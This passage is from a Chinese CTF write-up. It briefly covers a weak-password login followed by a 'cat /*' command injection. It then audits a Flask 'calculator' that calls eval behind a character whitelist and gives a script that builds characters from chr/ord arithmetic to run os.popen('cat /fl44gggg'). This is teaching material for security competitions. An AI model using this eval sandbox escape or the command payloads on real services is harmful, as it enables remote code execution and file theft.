但是需要注意的一点,如果直接进行访问需要登入,所以我们就需要去尝试弱密码爆破或者sql注入

最后拿到账号为admin qwer1234为密码

直接登入,带着cookie访问profile.php post提交命令即可

1
SH=cat /*

[Week4] 0进制计算器

这个题主要是代码审计了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:
def __init__(self):
self.variables = {}

def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)

def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None

def checker(self, string):
try:
string.encode("ascii")
except UnicodeEncodeError:
return False
allow_chr = '0cdhor+-*/=()"\'; '
for char in string:
if char not in allow_chr:
return False

def executer(code):
outputIO = StringIO()
interpreter = StupidInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
return(output)

if __name__ == '__main__':
app.run(debug=False)

首先通过白名单绕过

1
allow_chr = '0cdhor+-*/=()"\'; '

这里最后会进行执行一个eval函数,而要做的就是将expression来进行拼接为一个能执行的字符串

1
return eval(expression, {}, {})

首先可以用python的两个函数

1
2
chr() //通过ascii码转字符
ord() //将字符转ascii码

这里就可以拼接出一个数字

1
2
ord('*')-ord(')') //这个是数字 1
//通过+就可以拼凑出一个字符的ascii

比如通过python脚本来进行编写就可以得到一个字符得ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a='a'
# print(a)
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
qwe="chr("+s+")"
print(qwe)
//chr(ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')')+ord('*')-ord(')'))
print(eval(qwe)) //a

这里就可以开始分析如何拼接字符串和构造poc链了,这里主要是两个符号来进行执行

1
2
3
4
5
6
7
8
9
10
if '=' in command:  
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)

这里首先是可以通过;号来隔开每个不同的命令,而有两个命令执行形式不同,一个为=,另外一个为cdhor()

先去看看 = 号发生了什么,其实就是将等号右边的命令进行执行了,左边的作为新的键名,键值为执行结果,这里就可以大胆的想,这里就可以实现对字符串的拼接,如果将我们poc链需要的字典放到创建的集合中就可以开始拼接字符串

其实关键在执行命令时有一个替换的过程

1
2
for var, value in self.variables.items():  
expression = expression.replace(var, str(value))

这里如果将字典构建完成后,我们在通过cdhor()来执行拼接的结果就可以绕过,并且执行命令,下面的python脚本就可以开始执行,但是脚本还需要自动进行拼接,还有可能比较长,但是不影响,只是怎么简单怎么来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#首先实现字典的构造,这里构造的qwe前面会多一个;号,去掉即可
a='>:+asdfghjklqwertyuiopzxcvbnm_[\'"N]().{}, 0123456789/'
qwe=""
for i in a:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
qwe=qwe+";"+dd
print(qwe)
print()
#下面构造执行命令的payload
b="globals()['__builtins__']['eval']('__import__(\"os\").popen(\"cat /fl44gggg\").read()')"
asd=""
for i in b:
#print(ord(i))
d=ord(i)
s="ord('*')-ord(')')"
f=1
while(f<d):
s+="+ord('*')-ord(')')"
f+=1
#print(s)
ss="chr("+s+")"
dd=ss+"="+ss
#print(ss)
asd=asd+ss
print("cdhor("+asd+")")

这里需要注意如果直接执行命令就只会输出0或者1,但是我们可以通过ssti的方法通过.read()来让print输出结果